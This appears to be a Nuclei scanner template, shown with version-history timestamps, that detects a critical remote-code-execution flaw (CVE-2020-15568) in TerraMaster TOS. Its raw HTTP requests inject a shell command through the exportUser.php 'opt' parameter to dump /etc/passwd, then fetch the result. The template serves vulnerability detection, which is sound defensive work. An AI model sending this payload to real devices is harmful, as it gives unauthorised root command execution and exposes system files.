2021-02-10 10:51:42 +00:00
id : CVE-2020-15568
info :
2022-04-29 19:58:07 +00:00
name : TerraMaster TOS <.1.29 - Remote Code Execution
2021-02-10 10:51:42 +00:00
author : pikpikcu
severity : critical
2022-04-29 19:58:07 +00:00
description : "TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter."
2022-04-22 10:38:41 +00:00
reference :
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-15568
cwe-id : CWE-913
2022-04-22 10:38:41 +00:00
tags : cve,cve2020,terramaster,rce
2021-02-10 10:51:42 +00:00
requests :
- raw :
- |
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Enuclei.txt HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
- |
GET /include/nuclei.txt HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-10 10:51:42 +00:00
part : body
- type : status
status :
- 200
2022-04-29 19:58:07 +00:00
# Enhanced by mp on 2022/04/27